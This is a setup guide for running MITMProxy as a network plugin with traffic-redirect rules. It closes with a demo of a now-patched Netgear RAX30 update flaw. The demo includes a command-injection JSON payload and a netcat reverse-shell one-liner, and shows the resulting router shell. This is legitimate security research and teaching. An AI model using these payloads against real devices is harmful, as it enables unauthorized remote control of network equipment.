Skip to main content

MITMProxy with PFW

MITMProxy is a utility for intercepting and inspecting web traffic. In this guide, we'll cover how to configure it in a container and use some of the advanced PLUS features to selectively redirect traffic through the container.

At the end, we'll show how to use MITMProxy to exploit a now-patched security flaw with how Netgear's RAX30 would ignore TLS certificates during updates.

This plugin is available on github.

Prepare the plugin

In a future release, plugin installation will be streamlined. For now configuration requires a couple of steps, and we'll walk through those in this guide.

First, get the spr-mitmproxy plugin.

from the SPR directory, typically /home/spr/super

sudo bash
cd plugins
git clone https://github.com/spr-networks/spr-mitmproxy
echo [\"plugins/spr-mitmproxy/docker-compose.yml\"] > ../configs/base/custom_compose_paths.json
cd spr-mitmproxy
docker compose build

Configure SPR

  1. Navigate to the SPR UI. Add a new Plugin under the Plugins page
  • Set name to mitmproxy
  • Set ComposeFilePath to plugins/spr-mitmproxy/docker-compose.yml
  • Make sure its been added to configs/base/custom_compose_paths.json as described in the previous section
  • Enable it by toggling the slider. This should auto-start the plugin. On the command link you can look for it with docker ps
  1. Go to the Firewall page and expand the Custom Interface Rules. Add a new entry for mitmweb0 to the custom interface rules. You can verify your container's network address in the Container tab -> Under Firewall-> Custom Interface Access although it should automatically populate. Set the last IP octet to '.2' which will be the mitmproxy container address. Add the new rule, make sure mitmproxy has wan and dns at least to access the internet. The lan_upstream tag can also be added if mitmproxy should access private lan addresses. Also add it to a mitmweb group, and any other device in this group will be able to access the mitmweb interface on 172.x.y.2:8081 plus-mitmproxy-iface-access

  2. Also add your device to the mitmweb group under the Devices page by editing your device. This allows the device to access the mitmweb interface.

Verify that the mitmweb page is reachable from the device at http://172.x.y.2:8081

Select targets to intercept

Now that the plugin has been configured, we can use PFW to select targets to intercept.

  1. Navigate to the PFW viewing

  2. Select Always as a trigger

  3. Pick a Site Forward action. We'll pick the one on the left which forwards all ports but the one on the right works also

  4. Complete the rule, filling out the container IP as the destination. In this example, traffic destined for www.asdf.com will be redirected to 172.19.0.2 which is the mitmproxy container.

Using mitmproxy

When the target device visits www.asdf.com it should populate on the mitmproxy web interface.

Monitoring a Netgear RAX30

Now that we've verified it's working correctly, lets use mitmproxy to test out the netgear router. We've plugged the Netgear into SPR as a wired client. Now lets set up the PFW rule for it.

After the router goes online, we soon see the Netgear reaching out to an HTTPS website, totally ignoring that we don't have a valid TLS certificate for the domain. Oops!

Later on, when fetching DeviceFeatureSettingConfig.json, it's possible to inject commands

{
"errorCode": null,
"message": null,
"status": 1,
"url": "http://test.com/rax30/app$(id)`touch /tmp/hi2`/url"
}

On a UART console on the router we can verify that our commands are running.

12022-10-25 07:07:54J... Uninitializing uAL.
[2022-10-25 07:07:54]... Uninitializing FW Check Library...Done
https://http.fw.updates1.netgear.com/rax30/app id $(id)sh: id: not found
Pathsh: id: not found
/bin/smd::371.761:error:validateAppLaunchedMsg:888:dInfofor getdb alreae
sh: id: not found
PerformFwCheck status
=1
ntgr_ra_iot:10
#
=
create node[productFamily] = [router]
create node[modelName] = (RAX30]

create node[hwRevision] = [R2.0B]
create node[stage] = [qa]
l
create parent node[deviceInfo]
create node[macAddress] = [6c:cd:d6:4c:3a:64]

create node[serialNumber] = [6L131AWS02A54]
create node[eventType] = [2]
create node[epochTimeStamp]
= [1666710477888]

create node[timeZoneOffset] = [-08:00]
create parent node[firmware]

create node[fwVersion] = [V1.0.7.78]
create node[fwLastUpdate]=[2022_03.04_03:16:53]

create node[ fwLastChecked] = (2022 10.25 07:07:57]
cat: can't open
/tmp/ATS_ntpResult': No such file or directory

We can then convert the injection into a connect-back shell with the following URL.

"url": "https://http.$(mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.2.2 4040 > /tmp/f)"

And from the attacker's box,

$ nc -vv -l 4040
BusyBox v1.31.1 (2022-05-11 10:37:23 CST) built-in shell (ash)
Enter "help" for a list of built-in commands

##

If you'd like to learn more about this flaw, a writeup of the vulnerability was made by Starlabs SG.

A Note on Transparent Sockets

If you'd like to run mitmproxy inside your own containers, there's one thing to know about the firewall rules that container needs.

The container uses DNAT rules to redirect traffic routing out to :80/:443 to MITMProxy on :9999.

If the target is reaching out to a port other than 80/443, the site forwarding feature in PFW can be set to redirect port numbers.

#!/bin/bash

nft -f - << EOF
table inet nat {
chain prerouting {
type nat hook prerouting priority filter; policy accept;
tcp dport { 80, 443 } dnat ip to 127.0.0.1:9999
}
}
EOF

mitmweb -p 9999 -m transparent --web-host 0.0.0.0